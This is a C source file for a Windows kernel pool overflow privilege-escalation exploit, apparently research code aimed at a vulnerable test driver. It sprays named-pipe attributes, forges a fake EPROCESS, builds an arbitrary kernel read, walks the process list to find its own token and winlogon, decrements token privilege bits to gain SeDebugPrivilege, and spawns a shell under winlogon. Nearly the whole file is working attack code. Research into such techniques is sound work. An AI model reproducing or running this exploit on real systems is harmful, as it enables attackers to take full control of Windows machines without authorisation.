#include <stdio.h>
#include <windows.h>

#include <ntstatus.h>
#include <ntdef.h>
#include <unistd.h>
#include <stdint.h>
#include <tlhelp32.h>


#include "Ioctl.h"

#include "vuln_driver_client.h"

#include <stdio.h>
#include <ctype.h>

#include "pipe_utils.h"
#include "utils.h"

#include "exploit.h"
#include "pagedpool_utils.h"
#include "nonpagedpool_utils.h"

#include "vuln.h"
#include "debug.h"
#include "logs.h"

typedef struct _HEAP_VS_CHUNK_HEADER {
    uint16_t MemoryCost;
    uint16_t UnsafeSize;
    uint16_t UnsafePrevSize;
    uint8_t Allocated;
    uint8_t Unused;
    uint8_t EncodedSegmentPageOffset;
} HEAP_VS_CHUNK_HEADER;

typedef struct lookaside {
    size_t size;
    pipe_spray_t *first;
    pipe_spray_t *second;
    pipe_spray_t *drain;
    char *buf;
} lookaside_t;

lookaside_t *prepare_lookaside(xploit_t * xploit, size_t size)
{
    lookaside_t *lookaside = malloc(sizeof(lookaside_t));

    lookaside->size = size;
    lookaside->buf = malloc(lookaside->size);
    memset(lookaside->buf, 0x40, lookaside->size);
    strcpy(lookaside->buf, ATTRIBUTE_NAME);

    lookaside->first = prepare_pipes(0x10000, lookaside->size, lookaside->buf, xploit->spray_type);
    lookaside->second = prepare_pipes(0x10000, lookaside->size, lookaside->buf, xploit->spray_type);
    lookaside->drain = prepare_pipes(0x100, lookaside->size, lookaside->buf, xploit->spray_type);
}

void enable_lookaside(int count, ...)
{
    va_list ap;

    va_start(ap, count);
    for (int i = 0; i < count; i++) {
        lookaside_t *lookaside = va_arg(ap, lookaside_t *);
        printf("[+] Enabling lookaside for size 0x%x\n", lookaside->size);
        spray_pipes(lookaside->first);
    }
    va_end(ap);

    sleep(2);

    va_start(ap, count);
    for (int i = 0; i < count; i++) {
        lookaside_t *lookaside = va_arg(ap, lookaside_t *);
        spray_pipes(lookaside->second);
    }
    va_end(ap);

    sleep(1);

    va_start(ap, count);
    for (int i = 0; i < count; i++) {
        lookaside_t *lookaside = va_arg(ap, lookaside_t *);
        spray_pipes(lookaside->drain);
    }
    va_end(ap);

}

void free_lookaside(lookaside_t * lookaside)
{
}

/*
	Here we craft the fake EPROCESS structure
    From https://github.com/cbayet/Exploit-CVE-2017-6008/blob/master/Win10/src/CVE-2017-6008_Win10_Exploit.cpp
*/
void initFakeEprocess(PVOID addr, PVOID addr_to_decrement)
{
	memset((PVOID)addr, 0x41, FAKE_EPROCESS_SIZE);

	addr = (PVOID)((DWORD64)addr + FAKE_EPROCESS_OFFSET);
	DWORD64 save = (DWORD64)addr;
	DWORD64 temp = save + 4;
	DWORD64 QuotaValues = 0xAAAAAAAAAAAAAcfc;
	DWORD64 QuotaValues2 = 0xAAAAAAAAAAA255dc;

	memset((char *)addr - 0x40, 0xA, 0x40);
	memset((char *)addr - 0x18, 0xB, 0x1);
	memset(addr, 0x3, 1);

	// temp = (DWORD64)((char *)pTokenObject + 0x48);
    temp = (DWORD64)((char *)addr_to_decrement);
	memcpy((char *)addr + 0x410, &temp, sizeof(DWORD64));
	for (int i = 0xd8; i < 0xf0; i++)
	{
		memset((char *)addr + i, 2 + (i - 0xd4), 1);
	}

	// precise values are need here, but we can't put any 0x0000 in the structure or it won't be copied
	// in kernel memory
	memcpy((char *)addr + 0xc0, &QuotaValues, 4);
	memcpy((char *)addr + 0xc4, &QuotaValues2, 4);
	memcpy((char *)addr + 0xc8, &QuotaValues, 4);
	memcpy((char *)addr + 0xcc, &QuotaValues2, 4);
}

void exploit_arbitrary_read(xploit_t * xploit, uintptr_t where, char * out, size_t size)
{
    xploit->exploit_arbitrary_read(xploit, where, out, size);
}

/**
 * Alloc a new pipe attribute in the corrupted list.
 * This attribute will hold the fake EPROCESS data, since it must be in kernel.
 * We must allocate it now because we only know the address of the token now.
**/
void setup_fake_eprocess(xploit_t * xploit)
{
    char fake_eprocess_attribute_buf[0x1000] = {0};
    char fake_eprocess_buf[0x10000] = {0};



    strcpy(fake_eprocess_attribute_buf, DUMB_ATTRIBUTE_NAME2);


    initFakeEprocess(fake_eprocess_buf, (PVOID)xploit->self_token + 0x48);
    memcpy(fake_eprocess_attribute_buf + DUMB_ATTRIBUTE_NAME2_LEN, fake_eprocess_buf, FAKE_EPROCESS_SIZE);
    initFakeEprocess(fake_eprocess_buf, (PVOID)xploit->self_token + 0x41);
    memcpy(fake_eprocess_attribute_buf + DUMB_ATTRIBUTE_NAME2_LEN + FAKE_EPROCESS_SIZE, fake_eprocess_buf, FAKE_EPROCESS_SIZE);


    /**
     *  We can use pipe attribute or pipe queue entry for writing arbitry data in kernel
     * and then retrieve the address using the arbitrary read.
     * In NonPagedPool Exploit, the pipe queue entry list is corrupted, so we use the
     * pipe attribute list
     * In PagedPool exploit, the pipe attribute list is corrupted, so we use the pipe queue
     * entry list.
    **/
    xploit->alloc_fake_eprocess(xploit, fake_eprocess_attribute_buf);

    printf("[+] fake_eprocess is : 0x%llx\n", xploit->fake_eprocess);
}

/**
 * This function walks the process list and finds the EPROCESS of the current process.
 * It also searches for the address of the winlogon process' PID, because we can't do that in
 * userland when we are in low privilege.
**/
int find_self_eprocess(xploit_t * xploit)
{
    uintptr_t PsInitialSystemProcess;
    char winlogon[] = "winlogon.exe";
    size_t winlogon_size = strlen(winlogon);

    char tmp[0x100];

    exploit_arbitrary_read(xploit, xploit->kernel_base + NT_PSINITIALSYSTEMPROCESS_OFFSET, (char *)&PsInitialSystemProcess, 0x8);
    printf("[+] PsInitialSystemProcess is : 0x%llx\n", PsInitialSystemProcess);


    pid_t self_pid = GetCurrentProcessId();
    printf("[*] Looking for process with pid %d...\n", self_pid);
    uintptr_t current_process_list = PsInitialSystemProcess + 0x2f0;
    uintptr_t current_pid = 0;


    do
    {
        exploit_arbitrary_read(xploit, current_process_list, (char *)&current_process_list, 0x8);
        // printf("current_process_list is : 0x%llX\n", current_process_list);
        exploit_arbitrary_read(xploit, current_process_list - 8, (char *)&current_pid, 0x8);

        // printf("current_pid is : %d\n", current_pid);
        if (current_pid == self_pid)
        {
            xploit->self_eprocess = current_process_list - 0x2f0;
            printf("[+] Found self_eprocess at 0x%llX !\n", xploit->self_eprocess);
        }

        // read process name, try to find the winlogon processus too
        exploit_arbitrary_read(xploit, current_process_list - 0x2f0 + 0x450, tmp, winlogon_size);
        if (!strcmp(tmp, winlogon))
        {
            xploit->winlogon_pid = current_pid;
            printf("[+] Found winlogon pid at %d !\n", xploit->winlogon_pid);
        }

        if (xploit->self_eprocess && xploit->winlogon_pid)
            return 1;
    }
    while (current_process_list != PsInitialSystemProcess + 0x2f0);
    fprintf(stderr, "[-] Failed to find self eprocess !\n");
    return 0;
}

void find_kernel_base(xploit_t * xploit)
{
    uintptr_t file_object_ptr = 0;
    uintptr_t file_object;
    uintptr_t device_object;
    uintptr_t driver_object;
    uintptr_t NpFsdCreate;


    file_object_ptr = xploit->find_file_object(xploit);

    // Get the leak of ntoskrnl and npfs
    exploit_arbitrary_read(xploit, file_object_ptr, (char *)&file_object, 0x8);
    printf("[+] File object is : 0x%llx\n", file_object);

    exploit_arbitrary_read(xploit, file_object+8, (char *)&device_object, 0x8);
    printf("[+] Device object is : 0x%llx\n", device_object);

    exploit_arbitrary_read(xploit, device_object+8,(char *)&driver_object, 0x8);
    printf("[+] Driver object is : 0x%llx\n", driver_object);

    exploit_arbitrary_read(xploit, driver_object+0x70, (char *)&NpFsdCreate, 0x8);
    printf("[+] Major function is : 0x%llx\n", NpFsdCreate);

    uintptr_t ExAllocatePoolWithTag_ptr = NpFsdCreate - NPFS_NPFSDCREATE_OFFSET + NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET;
    uintptr_t ExAllocatePoolWithTag;

    exploit_arbitrary_read(xploit, ExAllocatePoolWithTag_ptr, (char *)&ExAllocatePoolWithTag, 0x8);
    printf("[+] ExAllocatePoolWithTag is : 0x%llx\n", ExAllocatePoolWithTag);

    xploit->kernel_base =  ExAllocatePoolWithTag - NT_ALLOCATEPOOLWITHTAG_OFFSET;
}

char attribute[0x1000];

int free_spray_lfh(xploit_t * xploit)
{
    puts("freeing lookaside 1");
    getchar();
    free_pipes(xploit->lookaside1);

    puts("freeing lookaside 2");
    getchar();

    free_pipes(xploit->lookaside2);
    puts("Leaving !!");
    getchar();
}

int free_spray_vs(xploit_t * xploit)
{
}

int trigger_overflow_lfh(xploit_t * xploit)
{
    char overflow[0x20];
    char spray_buf[0x1000];
    char respray_buf[0x1000];
    char rewrite_buf[0x1000];

    // fake pipe attribute is the pipe attribute we put in userland to get arbitrary read
    xploit->fake_pipe_attribute = (pipe_attribute_t *)malloc(sizeof(pipe_attribute_t));

    xploit->fake_pipe_attribute->list.Flink = (LIST_ENTRY *) 0xDEADDEADCAFE0000;
    xploit->fake_pipe_attribute->list.Blink = (LIST_ENTRY *) 0xDEADDEADCAFE0000;
    xploit->fake_pipe_attribute->AttributeName = ATTRIBUTE_NAME;
    xploit->fake_pipe_attribute->ValueSize = 0x100;
    xploit->fake_pipe_attribute->AttributeValue = (char *)0xDEADBEEFCAFEAAAA;

    xploit->fake_pipe_queue_sub = (pipe_queue_entry_sub_t *)malloc(sizeof(pipe_queue_entry_sub_t));
    memset(xploit->fake_pipe_queue_sub, 0, sizeof(pipe_queue_entry_sub_t));


    // buffer for spray attributes
    memset(spray_buf, 0x41, 0x1000);
    strcpy(spray_buf, ATTRIBUTE_NAME);

    // buffer for spray after trigger of the free
    memset(respray_buf, 0x42, 0x1000);
    strcpy(respray_buf, ATTRIBUTE_NAME);

    // ghost_chunk_offset is the index in the buffer that will
    // contain the pointer of the next chunk in the lookaside list
    // pointer at this place must be zero !!
    xploit->ghost_chunk_offset = xploit->targeted_vuln_size + xploit->offset_to_pool_header - xploit->backward_step - xploit->struct_header_size;
    LOG_DEBUG("ghost_chunk_offset is 0x%X", xploit->ghost_chunk_offset);

    *((unsigned char *)respray_buf + xploit->ghost_chunk_offset)   = 0;                              // previous size
    *((unsigned char *)respray_buf + xploit->ghost_chunk_offset + 1) = 0;                              // pool index
    *((unsigned char *)respray_buf + xploit->ghost_chunk_offset + 2) = (xploit->ghost_chunk_size + POOL_HEADER_SIZE)/0x10; // block size
    *((unsigned char *)respray_buf + xploit->ghost_chunk_offset + 3) = 0;                              // pool type

    memcpy((unsigned char *)respray_buf + xploit->ghost_chunk_offset + 4, "\xAf\xff\xff\xff", 4);

    // buffer for the target attribute that will be overwritten
    memset(attribute, 0x43, 0x1000);
    strcpy(attribute, ATTRIBUTE_NAME);

    // buf that will overwrite the ghost chunk then the target attribute
    memset(rewrite_buf, 0x45, sizeof(rewrite_buf));


    // the pipe for ghosts need to be big enough to contain the FAKE EPROCESS
    xploit->ghosts = prepare_pipes(1, 0x10000, attribute, xploit->spray_type);
    xploit->ghost_idx = 0;
    pipe_spray_t * spray1 = prepare_pipes(SPRAY_SIZE, xploit->targeted_vuln_size + POOL_HEADER_SIZE, spray_buf, xploit->spray_type);
    pipe_spray_t * spray2 = prepare_pipes(SPRAY_SIZE, xploit->targeted_vuln_size + POOL_HEADER_SIZE, spray_buf, xploit->spray_type);
    xploit->lookaside1 = prepare_pipes(SPRAY_SIZE + 0x20, xploit->ghost_chunk_size + POOL_HEADER_SIZE, spray_buf, xploit->spray_type);
    xploit->lookaside2 = prepare_pipes(SPRAY_SIZE + 0x20, xploit->ghost_chunk_size + POOL_HEADER_SIZE, spray_buf, xploit->spray_type);
    xploit->respray = prepare_pipes(SPRAY_SIZE * 4, xploit->targeted_vuln_size + POOL_HEADER_SIZE, respray_buf, xploit->spray_type);
    xploit->rewrite = NULL;
    xploit->final_write = NULL;
    xploit->final_write2 = NULL;



    // the overflow data
    // Set the pool type to the same pooltype with aligned chunk set (| 4)
    *((unsigned char *)overflow + xploit->offset_to_pool_header)   = xploit->backward_step / 0x10;  // previous size
    *((unsigned char *)overflow + xploit->offset_to_pool_header + 1) = 0;                     // pool index
    *((unsigned char *)overflow + xploit->offset_to_pool_header + 2) = 0;                     // block size
    *((unsigned char *)overflow + xploit->offset_to_pool_header + 3) = 0 | 4; // pool type



    // SPR1
    spray_pipes(spray1);

    // For debug it returns the address of the allocated chunk
    uintptr_t vuln = alloc_vuln(xploit);
    LOG_DEBUG("Vulnerable allocation is at 0x%016llX", vuln);

    // SPR2
    spray_pipes(spray2);

#ifdef DEBUG
    
    // fast check that spraying worked
    int following_tag = read_dword(vuln + xploit->targeted_vuln_size + 4);
    printf("[D] following_tag is 0x%X\n", following_tag);

    if (following_tag != xploit->expected_tag)
    {
        printf("[-] spray failed !\n");
        free_pipes(spray1);
        free_pipes(spray2);
        free_vuln();
        return 0;
    }
#endif
    printf("[+] Triggering vulnerability...\n");
    trigger_vuln(xploit, overflow, xploit->offset_to_pool_header + 4);
    printf("[+] Vulnerability triggered !\n");

    // have to free the ioctl before and store the fake POOL_HEADER inside because i don't know when I free the
    // previous chunk and the overriden chunk
    free_vuln();

    spray_pipes(xploit->respray);

    spray_pipes(xploit->lookaside1);
    sleep(2);

    spray_pipes(xploit->lookaside2);
    sleep(1);

    free_pipes(spray1);

    free_pipes(spray2);


    printf("[+] Alloc ghost !\n");
    xploit->alloc_ghost_chunk(xploit, attribute);


    puts("[+] Reading pipes...");

    if (!xploit->get_leak(xploit, xploit->respray))
        return 0;

    xploit->setup_ghost_overwrite(xploit, rewrite_buf);

    xploit->rewrite = prepare_pipes(SPRAY_SIZE * 4, xploit->targeted_vuln_size + POOL_HEADER_SIZE, rewrite_buf, xploit->spray_type);

    /**
     *  We have leaked some data from the pipe attribute.
     *  Now, we need to overwrite the ghost attribute to get an arbitrary read
    **/

    // Free the pipe and realloc to overwrite the target pipe attribute
    close_pipe(&xploit->respray->pipes[xploit->leaking_pipe_idx]);
    spray_pipes(xploit->rewrite);
    return 1;
}

int trigger_overflow_vs(xploit_t * xploit)
{
    char overflow[0x20];
    char spray_buf[0x1000];
    char respray_buf[0x1000];
    char rewrite_buf[0x1000];

    // fake pipe attribute is the pipe attribute we put in userland to get arbitrary read
    xploit->fake_pipe_attribute = (pipe_attribute_t *)malloc(sizeof(pipe_attribute_t));

    xploit->fake_pipe_attribute->list.Flink = (LIST_ENTRY *) 0xDEADDEADCAFE0000;
    xploit->fake_pipe_attribute->list.Blink = (LIST_ENTRY *) 0xDEADDEADCAFE0000;
    xploit->fake_pipe_attribute->AttributeName = ATTRIBUTE_NAME;
    xploit->fake_pipe_attribute->ValueSize = 0x100;
    xploit->fake_pipe_attribute->AttributeValue = (char *)0xDEADBEEFCAFEAAAA;

    xploit->fake_pipe_queue_sub = (pipe_queue_entry_sub_t *)malloc(sizeof(pipe_queue_entry_sub_t));
    memset(xploit->fake_pipe_queue_sub, 0, sizeof(pipe_queue_entry_sub_t));


    // buffer for spray attributes
    memset(spray_buf, 0x41, 0x1000);
    strcpy(spray_buf, ATTRIBUTE_NAME);

    // buffer for spray after trigger of the free
    memset(respray_buf, 0x42, 0x1000);
    strcpy(respray_buf, ATTRIBUTE_NAME);

    // ghost_chunk_offset is the index in the buffer that will
    // contain the pointer of the next chunk in the lookaside list
    // pointer at this place must be zero !!
    xploit->ghost_chunk_offset = xploit->targeted_vuln_size + xploit->offset_to_pool_header - xploit->backward_step - xploit->struct_header_size;
    LOG_DEBUG("ghost_chunk_offset is 0x%X", xploit->ghost_chunk_offset);

    *((unsigned char *)respray_buf + xploit->ghost_chunk_offset)   = 0;                              // previous size
    *((unsigned char *)respray_buf + xploit->ghost_chunk_offset + 1) = 0;                              // pool index
    *((unsigned char *)respray_buf + xploit->ghost_chunk_offset + 2) = (xploit->ghost_chunk_size + POOL_HEADER_SIZE)/0x10; // block size
    *((unsigned char *)respray_buf + xploit->ghost_chunk_offset + 3) = 0;                              // pool type

    memcpy((unsigned char *)respray_buf + xploit->ghost_chunk_offset + 4, "\xAf\xff\xff\xff", 4);

    // buffer for the target attribute that will be overwritten
    memset(attribute, 0x43, 0x1000);
    strcpy(attribute, ATTRIBUTE_NAME);

    // buf that will overwrite the ghost chunk then the target attribute
    memset(rewrite_buf, 0x45, sizeof(rewrite_buf));

    xploit->ghosts = prepare_pipes(3 * SPRAY_SIZE, xploit->ghost_chunk_size, attribute, xploit->spray_type);
    pipe_spray_t * drain1 = prepare_pipes(0x20000, xploit->targeted_vuln_size, spray_buf, xploit->spray_type);
    pipe_spray_t * spray1 = prepare_pipes(30 * SPRAY_SIZE, xploit->targeted_vuln_size + 0x10, spray_buf, xploit->spray_type);
    lookaside_t * ghost_lookaside = prepare_lookaside(xploit, xploit->ghost_chunk_size + 0x10);
    lookaside_t * vuln_lookaside = prepare_lookaside(xploit, xploit->targeted_vuln_size + 0x10);
    lookaside_t * decrement_lookaside = prepare_lookaside(xploit, 0xe40);

    xploit->respray = prepare_pipes(SPRAY_SIZE * 4, xploit->targeted_vuln_size + POOL_HEADER_SIZE, respray_buf, xploit->spray_type);
    xploit->rewrite = NULL;
    xploit->final_write = NULL;
    xploit->final_write2 = NULL;


    // the overflow data
    // Set the pool type to the same pooltype with aligned chunk set (| 4)
    *((unsigned char *)overflow + xploit->offset_to_pool_header)   = xploit->backward_step / 0x10;  // previous size
    *((unsigned char *)overflow + xploit->offset_to_pool_header + 1) = 0;                     // pool index
    *((unsigned char *)overflow + xploit->offset_to_pool_header + 2) = 0;                     // block size
    *((unsigned char *)overflow + xploit->offset_to_pool_header + 3) = 0 | 4; // pool type



    // drain available chunk to ensure a new VS_SUB_SEGMENT will be allocated
    spray_pipes(drain1);

    spray_pipes(spray1);

    // Create gaps
    free_third_pipes(spray1, 0);

    // For debug it returns the address of the allocated chunk
    uintptr_t vuln = alloc_vuln(xploit);

#ifdef DEBUG
    // fast check that spraying worked
    int following_tag = read_dword(vuln + xploit->targeted_vuln_size + xploit->offset_to_pool_header + 4);
    printf("[D] following_tag is 0x%X\n", following_tag);

    if (following_tag != xploit->expected_tag)
    {
        printf("[-] spray failed !\n");
        free_pipes(drain1);
        //TODO free_pipes(spray1);
        free_vuln();
        return 0;
    }
#endif
    trigger_vuln(xploit, overflow, xploit->offset_to_pool_header + 4);

    enable_lookaside(3, ghost_lookaside, vuln_lookaside, decrement_lookaside);

    // have to free the ioctl before and store the fake POOL_HEADER inside because i don't know when I free the
    // previous chunk and the overriden chunk
    free_vuln();
    spray_pipes(xploit->respray);

    printf("[+] Trying to free overriden chunk\n");
    for (xploit->ghost_idx = 0; xploit->ghost_idx < spray1->nb; xploit->ghost_idx++) {
        LOG_DEBUG("Trying ghost number %d", xploit->ghost_idx);
        // Free one element of the spray
        set_pipe_attribute(&spray1->pipes[xploit->ghost_idx], ATTRIBUTE_NAME, ATTRIBUTE_NAME_LEN);

        xploit->alloc_ghost_chunk(xploit, attribute);

        if (xploit->get_leak(xploit, xploit->respray))
        {
            printf("[+] Found leaking pipe\n");
            break;
        }

        // Realloc the freed element since it wasn't the right one.
        set_pipe_attribute(&spray1->pipes[xploit->ghost_idx], spray1->data_buf, spray1->bufsize);
    }

    if (xploit->leaking_pipe_idx == -1) {
        printf("[-] Leak failed");
        return 0;
    }

    xploit->setup_ghost_overwrite(xploit, rewrite_buf);

    xploit->rewrite = prepare_pipes(SPRAY_SIZE * 4, xploit->targeted_vuln_size + POOL_HEADER_SIZE, rewrite_buf, xploit->spray_type);

    /**
     *  We have leaked some data from the pipe attribute.
     *  Now, we need to overwrite the ghost attribute to get an arbitrary read
    **/

    // Free the pipe and realloc to overwrite the target pipe attribute
    close_pipe(&xploit->respray->pipes[xploit->leaking_pipe_idx]);
    spray_pipes(xploit->rewrite);
    return 1;
}

int exploit(size_t targeted_vuln_size, int targeted_pooltype)
{
    int ret;
    xploit_t xploit = {0};

    char final_write_buf[0x1000];


    xploit.spray_type = 0;
    xploit.expected_tag = 0;
    xploit.targeted_pooltype = targeted_pooltype;
    xploit.targeted_vuln_size = targeted_vuln_size;

    if (xploit.targeted_vuln_size < 0x1f0)
    {
        xploit.backend = LFH;
        xploit.offset_to_pool_header = 0;
        xploit.ghost_chunk_size = 0x200;
    }
    else
    {
        // There is a VS header in VS chunks
        xploit.backend = VS;
        xploit.offset_to_pool_header = 0x10;
        xploit.ghost_chunk_size = 0x360;
    }


    // If is non Paged pool, spray with Pipe Attributes
    if (xploit.targeted_pooltype & 1)
    {
        xploit.spray_type = SPRAY_PIPE_ATTRIBUTE;
        xploit.expected_tag = 0x7441704E; // NpAt
        xploit.struct_header_size = LEN_OF_PIPE_ATTRIBUTE_STRUCT;
        xploit.get_leak = pp_get_leak;
        xploit.setup_ghost_overwrite = pp_setup_ghost_overwrite;
        xploit.alloc_ghost_chunk = pp_alloc_ghost_chunk;
        xploit.alloc_fake_eprocess = pp_alloc_fake_eprocess;
        xploit.exploit_arbitrary_read = pp_exploit_arbitrary_read;
        xploit.free_ghost_chunk = pp_free_ghost_chunk;
        xploit.setup_final_write = pp_setup_final_write;
        xploit.find_file_object = pp_find_file_object;
        xploit.backward_step = (xploit.targeted_vuln_size - ((xploit.struct_header_size - ATTRIBUTE_NAME_LEN + 0xf) & (~0xF)));
    }
    // else if in NonPagedPoolNx, spray with PipeQueueEntries
    else if (xploit.targeted_pooltype & 0x200)
    {
        xploit.spray_type = SPRAY_PIPE_QUEUE_ENTRY;
        xploit.expected_tag = 0x7246704E; // NpFR
        xploit.struct_header_size = LEN_OF_PIPE_QUEUE_ENTRY_STRUCT;
        xploit.get_leak = npp_get_leak;
        xploit.setup_ghost_overwrite = npp_setup_ghost_overwrite;
        xploit.alloc_ghost_chunk = npp_alloc_ghost_chunk;
        xploit.alloc_fake_eprocess = npp_alloc_fake_eprocess;
        xploit.exploit_arbitrary_read = npp_exploit_arbitrary_read;
        xploit.free_ghost_chunk = npp_free_ghost_chunk;
        xploit.setup_final_write = npp_setup_final_write;
        xploit.find_file_object = npp_find_file_object;
        xploit.backward_step = (xploit.targeted_vuln_size - ((xploit.struct_header_size + 0xf) & (~0xF)));
    }
    else
    {
        printf("[-] Unknown pooltype %d !\n", xploit.targeted_pooltype);
        return 0;
    }

    if (xploit.backward_step > xploit.targeted_vuln_size + xploit.offset_to_pool_header)
    {
        fprintf(stderr, "[-] xploit.backward_step > xploit->targeted_vuln_size !\n");
        return 0;
    }

    init_vuln();

    if (xploit.backend == LFH)
        ret = trigger_overflow_lfh(&xploit);
    else
        ret = trigger_overflow_vs(&xploit);

    if (!ret)
        return 0;
    /**
     *  If everything went well, we now have a corrupted pipe attribute. The next points
     *  in userland, on fake_pipe_attribute. We can use this to arbitrary read by getting
     *  the attribute value of the fake_pipe_attribute, and setting fake_pipe_attribute->AttributeValue
     *  to arbitrary location.
     *
     *
     *  The linked list is now corrupted:
     *
     * ROOT               -> VULN -> FAKE -> 0xDEADDEADCAFE0000 (next chain)
     * 0xDEADBEEFCAFEB00B <- VULN <- ROOT                       (previous chain)
     *
    **/

    // now the target attribute has been overwritten and we can arbitrary read !
    //puts("Press anything to read from target pipe !");
    //getchar();


    find_kernel_base(&xploit);


    exploit_arbitrary_read(&xploit, xploit.kernel_base + NT_POOLQUOTACOOKIE_OFFSET, (char *)&xploit.ExpPoolQuotaCookie, 0x8);
    printf("[+] ExpPoolQuotaCookie is : 0x%llx\n", xploit.ExpPoolQuotaCookie);

    /* Required for VS */
    size_t vs_header_offset = xploit.backward_step - xploit.offset_to_pool_header - POOL_HEADER_SIZE - xploit.struct_header_size;
    size_t vs_header_addr = xploit.ghost_chunk + vs_header_offset + POOL_HEADER_SIZE + xploit.struct_header_size;
    size_t vs_chunk_addr = vs_header_addr + xploit.targeted_vuln_size + xploit.offset_to_pool_header + POOL_HEADER_SIZE;
    if (xploit.backend == VS)
    {
        exploit_arbitrary_read(&xploit, xploit.kernel_base + NT_RTLPHPHEAPGLOBALS_OFFSET, (char *)&xploit.RtlpHpHeapGlobals, 0x8);
        printf("[+] RtlpHpHeapGlobals is : 0x%llx\n", xploit.RtlpHpHeapGlobals);
        // Look for next allocated VS header to find address of subsegment

        do {
            uint64_t encoded_header[2];
            HEAP_VS_CHUNK_HEADER *header = (HEAP_VS_CHUNK_HEADER *)&encoded_header;

            exploit_arbitrary_read(&xploit, vs_chunk_addr, (char *)&encoded_header, sizeof(encoded_header));

            encoded_header[0] = encoded_header[0] ^ vs_chunk_addr ^ xploit.RtlpHpHeapGlobals;
            encoded_header[1] = encoded_header[1] ^ vs_chunk_addr ^ xploit.RtlpHpHeapGlobals;

            if (header->Allocated) {
                xploit.VSSubSegmentAddr = vs_chunk_addr - (header->EncodedSegmentPageOffset << 12) & ~0xfffll;
                printf("[+] VSSubSegmentAddr is: 0x%llx\n", xploit.VSSubSegmentAddr);
            }

            vs_chunk_addr += header->UnsafeSize;
        } while (!xploit.VSSubSegmentAddr);
    }

    /**
     * We have ntoskrnl leak, we can read the cookie and get the PsInitialSystemProcess
     * Then, run through the process list to find our EPROCESS structure.
    **/
    if (!find_self_eprocess(&xploit))
        goto leave;


    // From EPROCESS structure, find self token
    exploit_arbitrary_read(&xploit, xploit.self_eprocess + 0x360, (char *)&xploit.self_token, 0x8);
    // The pointer is encoded
    xploit.self_token = xploit.self_token & (~0xF);
    printf("[+] self_token is : 0x%llx\n", xploit.self_token);

    // puts("Setup fake eprocess ? !");
    // getchar();
    setup_fake_eprocess(&xploit);


    /**
     * Final step, we will free again our spray and realloc it to overwrite the ghost chunk.
     * This time, the goal is to create a new POOL_HEADER for ghost chunk, and to fix the linked
     * list of the pipe attribute, so we can the ghost chunk and trigger an arbitrary decrement.
     *
     * We will decrement the Token->Privileges->Enabled bitfield AND
     * the Token->Privileges->Present bitfield, that will gives us SeDebugPrivilege.
    **/

    memset(final_write_buf, 0x46, sizeof(final_write_buf));

    *((unsigned char *)final_write_buf + xploit.ghost_chunk_offset)   = 0;                           // previous size
    *((unsigned char *)final_write_buf + xploit.ghost_chunk_offset + 1) = 0;                           // pool index
    *((unsigned char *)final_write_buf + xploit.ghost_chunk_offset + 2) = (xploit.ghost_chunk_size + POOL_HEADER_SIZE)/0x10;  // block size
    *((unsigned char *)final_write_buf + xploit.ghost_chunk_offset + 3) =  8;                             // pool type
    *(uint32_t *)((unsigned char *)final_write_buf + xploit.ghost_chunk_offset + 4) = 0x41424344; // 0xffffff0f;     // pool tag
    *(uintptr_t *)((unsigned char *)final_write_buf + xploit.ghost_chunk_offset + 8) = (xploit.fake_eprocess + FAKE_EPROCESS_OFFSET) ^ xploit.ExpPoolQuotaCookie ^ xploit.ghost_chunk; // Quota !

    if (xploit.backend == VS)
    {
        /**
         * Fix the VS header of the overwritten chunk
         */
        printf("[+] vs_header_offset %llx\n", vs_header_offset);
        printf("[+] vs_header_addr %llx\n", vs_header_addr);
        uint64_t vs_header_size = 0x0ll;
        vs_header_size |= 0x1ll << 48; // Allocated
        vs_header_size |= ((xploit.targeted_vuln_size + xploit.offset_to_pool_header + POOL_HEADER_SIZE) >> 4) << 32; // UnsafePrevSize
        printf("[+] vs_header_size %llx\n", vs_header_size);
        *(uint64_t *)((unsigned char *)attribute + vs_header_offset) = vs_header_size ^ vs_header_addr ^ xploit.RtlpHpHeapGlobals;
        uint64_t vs_header = (vs_header_addr - xploit.VSSubSegmentAddr) >> 12 & 0xff;
        *(uint64_t *)((unsigned char *)attribute + vs_header_offset + 8) = vs_header ^ vs_header_addr ^ xploit.RtlpHpHeapGlobals;
    }


    xploit.setup_final_write(&xploit, final_write_buf);


    // free both spray so the page containing our chunk goes in the top allocating pages.
    // With VS freeing respray is not allowed, since there is one of it that is
    // 1 chunk after the overwritten and thus the freeing could trigger a merge
    // and a BSOD
    
    if (xploit.backend == LFH)
    {
        free_pipes(xploit.respray);
        xploit.respray = NULL;
    }

    free_pipes(xploit.rewrite);
    xploit.rewrite = NULL;

    xploit.final_write = prepare_pipes(SPRAY_SIZE * 10, xploit.targeted_vuln_size + POOL_HEADER_SIZE, final_write_buf, xploit.spray_type);


    // spray the final rewrite !
    if (!spray_pipes(xploit.final_write))
        goto leave_wait;


    // The block size will be the number decremented
    // we need to decrement of at least 0x810, but try to find a size that is not used as allocation
    // to avoid this chunk to be reallocated and do nasty things that would trigger a crash
    *((unsigned char *)final_write_buf + xploit.ghost_chunk_offset + 2) = (0xe40)/0x10;  // block size

    *(uintptr_t *)((unsigned char *)final_write_buf + xploit.ghost_chunk_offset + 8) = (xploit.fake_eprocess + FAKE_EPROCESS_OFFSET + FAKE_EPROCESS_SIZE) ^ xploit.ExpPoolQuotaCookie ^ xploit.ghost_chunk; // Quota !

    xploit.final_write2 = prepare_pipes(SPRAY_SIZE * 20, xploit.targeted_vuln_size + POOL_HEADER_SIZE, final_write_buf, xploit.spray_type);
    // puts("[+] Ready to try free and arbitrary decrement !");
    // getchar();


    xploit.free_ghost_chunk(&xploit);
    xploit.alloc_ghost_chunk(&xploit, attribute);

    free_pipes(xploit.final_write);
    xploit.final_write = NULL;

    // spray the final rewrite 2 !
    spray_pipes(xploit.final_write2);



    // puts("[+] Ready to try free and arbitrary decrement second time !");
    // getchar();
    xploit.free_ghost_chunk(&xploit);


    // Check if we got the SeDebugPrivilege !
    if (checkPrivilege())
    {
        // WIN !
        printf("[+] Privilege Escalation worked fine ! \n");
        spawnShell(xploit.winlogon_pid);
    }
    else
        printf("[-] We still dont have enough privilege, retrying...\n\n");


leave_wait:

    // TODO fix VS so it doesn't crash
    puts("[+] can leave now !");
    getchar();
leave:

    puts("[+] closing ghost pipe");
    free_pipes(xploit.ghosts);

    puts("[+] freeing respray");
    if (xploit.respray)
        free_pipes(xploit.respray);

    puts("[+] freeing rewrite");
    if (xploit.rewrite)
        free_pipes(xploit.rewrite);

    puts("[+] freeing final_write");
    if (xploit.final_write)
        free_pipes(xploit.final_write);

    puts("[+] freeing final_write2");

    if (xploit.final_write2)
        free_pipes(xploit.final_write2);

